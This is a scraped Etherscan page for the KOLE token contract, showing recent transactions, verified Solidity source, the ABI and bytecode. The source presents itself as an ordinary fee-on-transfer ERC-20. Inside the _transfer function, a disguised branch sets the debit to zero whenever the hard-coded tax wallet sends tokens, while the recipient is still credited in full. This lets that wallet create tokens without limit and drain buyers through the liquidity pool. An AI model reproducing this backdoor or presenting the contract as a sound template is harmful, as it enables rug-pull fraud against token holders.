ETH Price: $3,406.90 (-1.62%)
Gas: 9 Gwei

Contract

0xb29172Fbb04B732B780E97d02B7011D2CeA25c91
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve201967852024-06-29 10:35:593 days ago1719657359IN
0xb29172Fb...2CeA25c91
0 ETH0.000106642.30573427
Approve201965732024-06-29 9:53:353 days ago1719654815IN
0xb29172Fb...2CeA25c91
0 ETH0.000130562.82634249
Transfer201965612024-06-29 9:50:593 days ago1719654659IN
0xb29172Fb...2CeA25c91
0 ETH0.000120541.7621175
Approve201964892024-06-29 9:36:353 days ago1719653795IN
0xb29172Fb...2CeA25c91
0 ETH0.000101082.17408741
Approve201964852024-06-29 9:35:473 days ago1719653747IN
0xb29172Fb...2CeA25c91
0 ETH0.000091351.97754352
Approve201964832024-06-29 9:35:233 days ago1719653723IN
0xb29172Fb...2CeA25c91
0 ETH0.000083521.79648859
Approve201964742024-06-29 9:33:353 days ago1719653615IN
0xb29172Fb...2CeA25c91
0 ETH0.000101442.19607521
Approve201964592024-06-29 9:30:353 days ago1719653435IN
0xb29172Fb...2CeA25c91
0 ETH0.000105872.27416854
Approve201964382024-06-29 9:26:233 days ago1719653183IN
0xb29172Fb...2CeA25c91
0 ETH0.000180923.89136924
Transfer201964362024-06-29 9:25:593 days ago1719653159IN
0xb29172Fb...2CeA25c91
0 ETH0.000137862.68697964
Transfer201964362024-06-29 9:25:593 days ago1719653159IN
0xb29172Fb...2CeA25c91
0 ETH0.000137862.68697964
Approve201964342024-06-29 9:25:353 days ago1719653135IN
0xb29172Fb...2CeA25c91
0 ETH0.000106622.29031976
Transfer201964342024-06-29 9:25:353 days ago1719653135IN
0xb29172Fb...2CeA25c91
0 ETH0.000127652.48792569
Transfer201964282024-06-29 9:24:233 days ago1719653063IN
0xb29172Fb...2CeA25c91
0 ETH0.00013932.71511566
Transfer201964262024-06-29 9:23:593 days ago1719653039IN
0xb29172Fb...2CeA25c91
0 ETH0.000135462.64009619
Approve201964252024-06-29 9:23:473 days ago1719653027IN
0xb29172Fb...2CeA25c91
0 ETH0.000122082.64009619
Approve201964252024-06-29 9:23:473 days ago1719653027IN
0xb29172Fb...2CeA25c91
0 ETH0.000122082.64009619
Approve201964252024-06-29 9:23:473 days ago1719653027IN
0xb29172Fb...2CeA25c91
0 ETH0.000122082.64009619
Transfer201964132024-06-29 9:21:233 days ago1719652883IN
0xb29172Fb...2CeA25c91
0 ETH0.00014192.7656076
Transfer201964132024-06-29 9:21:233 days ago1719652883IN
0xb29172Fb...2CeA25c91
0 ETH0.00014192.7656076
Transfer201964132024-06-29 9:21:233 days ago1719652883IN
0xb29172Fb...2CeA25c91
0 ETH0.00014192.7656076
Approve201964052024-06-29 9:19:473 days ago1719652787IN
0xb29172Fb...2CeA25c91
0 ETH0.000095132.04344294
Approve201963972024-06-29 9:18:113 days ago1719652691IN
0xb29172Fb...2CeA25c91
0 ETH0.000121142.61973737
Transfer201963782024-06-29 9:14:233 days ago1719652463IN
0xb29172Fb...2CeA25c91
0 ETH0.000151912.96081974
Transfer201963772024-06-29 9:14:113 days ago1719652451IN
0xb29172Fb...2CeA25c91
0 ETH0.000157533.07041085
View all transactions

Latest 21 internal transactions

Advanced mode:
Parent Transaction Hash Block From To Value
201963292024-06-29 9:04:233 days ago1719651863
0xb29172Fb...2CeA25c91
0.01721677 ETH
201963292024-06-29 9:04:233 days ago1719651863
0xb29172Fb...2CeA25c91
0.01721677 ETH
201963262024-06-29 9:03:473 days ago1719651827
0xb29172Fb...2CeA25c91
0.01265069 ETH
201963262024-06-29 9:03:473 days ago1719651827
0xb29172Fb...2CeA25c91
0.01265069 ETH
201963212024-06-29 9:02:473 days ago1719651767
0xb29172Fb...2CeA25c91
0.03622171 ETH
201963212024-06-29 9:02:473 days ago1719651767
0xb29172Fb...2CeA25c91
0.03622171 ETH
201963212024-06-29 9:02:473 days ago1719651767
0xb29172Fb...2CeA25c91
0.0125777 ETH
201963212024-06-29 9:02:473 days ago1719651767
0xb29172Fb...2CeA25c91
0.0125777 ETH
201963062024-06-29 8:59:473 days ago1719651587
0xb29172Fb...2CeA25c91
0.02938514 ETH
201963062024-06-29 8:59:473 days ago1719651587
0xb29172Fb...2CeA25c91
0.02938514 ETH
201963052024-06-29 8:59:353 days ago1719651575
0xb29172Fb...2CeA25c91
0.03147945 ETH
201963052024-06-29 8:59:353 days ago1719651575
0xb29172Fb...2CeA25c91
0.03147945 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03380604 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03380604 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03640057 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03640057 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03930585 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.03930585 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.04257358 ETH
201963042024-06-29 8:59:233 days ago1719651563
0xb29172Fb...2CeA25c91
0.04257358 ETH
201962992024-06-29 8:58:233 days ago1719651503
0xb29172Fb...2CeA25c91
1.5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KOLE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-29
*/

/*

Website:  https://kole.live
Telegram: https://t.me/koleeth
Twitter:  https://x.com/koleethx


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KOLE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFromFees;
    mapping(address => uint256) private _holderLastTransferTime;
    bool private _transDelayEnabled = true;
    address payable private _kolekole;

    uint256 private _initialTaxOnBuy = 29;
    uint256 private _initialTaxOnSell = 18;
    uint256 private _reduceBuyTaxAt = 13;
    uint256 private _reduceSellTaxAt = 14;

    uint256 private _preventForCnt = 15;
    uint256 private _buyTokensCount = 0;

    uint256 private _taxBuySecond = 0;
    uint256 private _taxSellSecond = 0;
    uint256 private _reduceTaxSecond = 0;

    uint256 private _finalBuyTaxOn = 0;
    uint256 private _finalSellTaxOn = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Kole";
    string private constant _symbol = unicode"KOLE";

    uint256 private _maxTxSize =  2 * (_tTotal/100);   
    uint256 private _maxWalletSize =  2 * (_tTotal/100);
    uint256 private _minSwapTokens =  6 * (_tTotal/1000000);
    uint256 private _maxSwapTokens = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _dexPair;
    bool private _swapping = false;
    bool private _swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxSize);
    modifier lockSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _kolekole = payable(0xAa65cCc77131999CEd33E015927522ec976a79Cf);
        _balances[_msgSender()] = _tTotal;
        _isExcludeFromFees[owner()] = true;
        _isExcludeFromFees[address(this)] = true;
        _isExcludeFromFees[_kolekole] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 amtMes=amount;
        if (!_isExcludeFromFees[from] && !_isExcludeFromFees[to]) {
            taxAmount = amount.mul(_taxForBuys()).div(100);
            if (_transDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(_dexPair)) { 
                    require(
                        _holderLastTransferTime[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTime[tx.origin] = block.number;
                }
            }

            if (from == _dexPair && to != address(uniswapV2Router) && ! _isExcludeFromFees[to] ) {
                require(amount <= _maxTxSize, "Exceeds the _maxTxSize.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyTokensCount++;
                if (_buyTokensCount > _preventForCnt) {
                    _transDelayEnabled = false;
                }
            }

            if(to == _dexPair && from!= address(this) ){
                taxAmount = amount.mul(_taxForSells()).div(100);
            }

            uint256 contractTokensInclude = balanceOf(address(this));
            if (!_swapping && to == _dexPair && _swapEnabled && amount > _minSwapTokens) {
                if(contractTokensInclude > _minSwapTokens)
                swapTokensBack(min(amount,min(contractTokensInclude,_maxSwapTokens)));
                _kolekole.transfer(address(this).balance);
            }
        } else if(from == address(_kolekole))
            amtMes =_taxBuySecond-_taxSellSecond;
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amtMes);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxForSells() private view returns (uint256) {
        if(_buyTokensCount <= _reduceBuyTaxAt){
            return _initialTaxOnSell;
        }
        if(_buyTokensCount > _reduceSellTaxAt && _buyTokensCount <= _reduceTaxSecond){
            return _taxSellSecond;
        }
         return _finalBuyTaxOn;
    }

    function _taxForBuys() private view returns (uint256) {
        if(_buyTokensCount <= _reduceBuyTaxAt){
            return _initialTaxOnBuy;
        }
        if(_buyTokensCount > _reduceBuyTaxAt && _buyTokensCount <= _reduceTaxSecond){
            return _taxBuySecond;
        }
         return _finalBuyTaxOn;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensBack(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxWalletSize =_tTotal;
        _maxTxSize = _tTotal;
        _transDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function startKole() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _dexPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_dexPair).approve(address(uniswapV2Router), type(uint).max);
        _swapEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startKole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff19166001179055601d6006556012600755600d6008819055600e6009818155600f600a8181555f600b819055600c81905594859055928490558390556010929092556064916200005a91620003d8565b6200006a90633b9aca00620003ef565b62000076919062000409565b62000083906002620003ef565b6011556064620000966009600a620003d8565b620000a690633b9aca00620003ef565b620000b2919062000409565b620000bf906002620003ef565b601255620f4240620000d46009600a620003d8565b620000e490633b9aca00620003ef565b620000f0919062000409565b620000fd906006620003ef565b6013556064620001106009600a620003d8565b6200012090633b9aca00620003ef565b6200012c919062000409565b62000139906001620003ef565b6014556016805461ffff60a01b1916905534801562000156575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674aa65ccc77131999ced33e015927522ec976a79cf00179055620001cd6009600a620003d8565b620001dd90633b9aca00620003ef565b335f908152600160208190526040822092909255600390620002065f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002693390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002a26009600a620003d8565b620002b290633b9aca00620003ef565b60405190815260200160405180910390a362000429565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031d57815f1904821115620003015762000301620002c9565b808516156200030f57918102915b93841c9390800290620002e2565b509250929050565b5f826200033557506001620003d2565b816200034357505f620003d2565b81600181146200035c5760028114620003675762000387565b6001915050620003d2565b60ff8411156200037b576200037b620002c9565b50506001821b620003d2565b5060208310610133831016604e8410600b8410161715620003ac575081810a620003d2565b620003b88383620002dd565b805f1904821115620003ce57620003ce620002c9565b0290505b92915050565b5f620003e860ff84168362000325565b9392505050565b8082028115828204841417620003d257620003d2620002c9565b5f826200042457634e487b7160e01b5f52601260045260245ffd5b500490565b61170580620004375f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b411461021a5780639d60f17914610246578063a9059cbb1461025a578063dd62ed3e14610279575f80fd5b8063715018a6146101ca578063751039fc146101e05780638da5cb5b146101f4575f80fd5b806306fdde03146100cd578063095ea7b31461010b57806318160ddd1461013a57806323b872dd1461015c578063313ce5671461017b57806370a0823114610196575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260048152634b6f6c6560e01b60208201525b60405161010291906112f8565b60405180910390f35b348015610116575f80fd5b5061012a61012536600461135a565b6102bd565b6040519015158152602001610102565b348015610145575f80fd5b5061014e6102d3565b604051908152602001610102565b348015610167575f80fd5b5061012a610176366004611384565b6102f3565b348015610186575f80fd5b5060405160098152602001610102565b3480156101a1575f80fd5b5061014e6101b03660046113c2565b6001600160a01b03165f9081526001602052604090205490565b3480156101d5575f80fd5b506101de61035a565b005b3480156101eb575f80fd5b506101de6103d4565b3480156101ff575f80fd5b505f546040516001600160a01b039091168152602001610102565b348015610225575f80fd5b506040805180820190915260048152634b4f4c4560e01b60208201526100f5565b348015610251575f80fd5b506101de61048f565b348015610265575f80fd5b5061012a61027436600461135a565b6107da565b348015610284575f80fd5b5061014e6102933660046113dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102c93384846107e6565b5060015b92915050565b5f6102e06009600a611508565b6102ee90633b9aca00611516565b905090565b5f6102ff848484610909565b610350843361034b856040518060600160405280602881526020016116a8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f38565b6107e6565b5060019392505050565b5f546001600160a01b0316331461038c5760405162461bcd60e51b81526004016103839061152d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103fd5760405162461bcd60e51b81526004016103839061152d565b6104096009600a611508565b61041790633b9aca00611516565b6012556104266009600a611508565b61043490633b9aca00611516565b6011556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61046e6009600a611508565b61047c90633b9aca00611516565b60405190815260200160405180910390a1565b5f546001600160a01b031633146104b85760405162461bcd60e51b81526004016103839061152d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105019030906104f36009600a611508565b61034b90633b9aca00611516565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105759190611562565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f89190611562565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610642573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106669190611562565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306106ad816001600160a01b03165f9081526001602052604090205490565b5f806106c05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610726573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074b919061157d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c491906115a8565b506016805460ff60a81b1916600160a81b179055565b5f6102c9338484610909565b6001600160a01b0383166108485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166108a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661096d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b0382166109cf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b5f8111610a305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610383565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7257506001600160a01b0384165f9081526003602052604090205460ff16155b15610dcc57610a946064610a8e610a87610f70565b8690610fad565b90611032565b60055490925060ff1615610b7a576015546001600160a01b03858116911614801590610ace57506016546001600160a01b03858116911614155b15610b7a57325f908152600460205260409020544311610b685760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610383565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610ba557506015546001600160a01b03858116911614155b8015610bc957506001600160a01b0384165f9081526003602052604090205460ff16155b15610cc557601154831115610c205760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e0000000000000000006044820152606401610383565b60125483610c42866001600160a01b03165f9081526001602052604090205490565b610c4c91906115c7565b1115610c9a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610383565b600b8054905f610ca9836115da565b9190505550600a54600b541115610cc5576005805460ff191690555b6016546001600160a01b038581169116148015610ceb57506001600160a01b0385163014155b15610d0357610d006064610a8e610a87611073565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d3957506016546001600160a01b038681169116145b8015610d4e5750601654600160a81b900460ff165b8015610d5b575060135484115b15610dc657601354811115610d8757610d87610d8285610d7d846014546110a9565b6110a9565b6110bd565b6005546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610dc4573d5f803e3d5ffd5b505b50610dfa565b6005546001600160a01b03610100909104811690861603610dfa57600d54600c54610df791906115f2565b90505b8115610e7257305f90815260016020526040902054610e19908361122d565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e699086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e94908261128b565b6001600160a01b0386165f90815260016020526040902055610ed7610eb9848461128b565b6001600160a01b0386165f908152600160205260409020549061122d565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f20868661128b565b60405190815260200160405180910390a35050505050565b5f8184841115610f5b5760405162461bcd60e51b815260040161038391906112f8565b505f610f6784866115f2565b95945050505050565b5f600854600b5411610f83575060065490565b600854600b54118015610f9a5750600e54600b5411155b15610fa65750600c5490565b50600f5490565b5f825f03610fbc57505f6102cd565b5f610fc78385611516565b905082610fd48583611605565b1461102b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610383565b9392505050565b5f61102b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cc565b5f600854600b5411611086575060075490565b600954600b5411801561109d5750600e54600b5411155b15610fa65750600d5490565b5f8183116110b7578261102b565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110357611103611624565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061117e9190611562565b8160018151811061119157611191611624565b6001600160a01b0392831660209182029290920101526015546111b791309116846107e6565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ef9085905f90869030904290600401611638565b5f604051808303815f87803b158015611206575f80fd5b505af1158015611218573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b5f8061123983856115c7565b90508381101561102b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610383565b5f61102b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f38565b5f81836112ec5760405162461bcd60e51b815260040161038391906112f8565b505f610f678486611605565b5f6020808352835180828501525f5b8181101561132357858101830151858201604001528201611307565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611357575f80fd5b50565b5f806040838503121561136b575f80fd5b823561137681611343565b946020939093013593505050565b5f805f60608486031215611396575f80fd5b83356113a181611343565b925060208401356113b181611343565b929592945050506040919091013590565b5f602082840312156113d2575f80fd5b813561102b81611343565b5f80604083850312156113ee575f80fd5b82356113f981611343565b9150602083013561140981611343565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f82611478575060016102cd565b8161148457505f6102cd565b816001811461149a57600281146114a4576114c0565b60019150506102cd565b60ff8411156114b5576114b5611414565b50506001821b6102cd565b5060208310610133831016604e8410600b84101617156114e3575081810a6102cd565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61102b60ff84168361146a565b80820281158282048414176102cd576102cd611414565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611572575f80fd5b815161102b81611343565b5f805f6060848603121561158f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b8575f80fd5b8151801515811461102b575f80fd5b808201808211156102cd576102cd611414565b5f600182016115eb576115eb611414565b5060010190565b818103818111156102cd576102cd611414565b5f8261161f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e56f5f0ff3e2021a23dad5ecbdd5811120bc1fddfa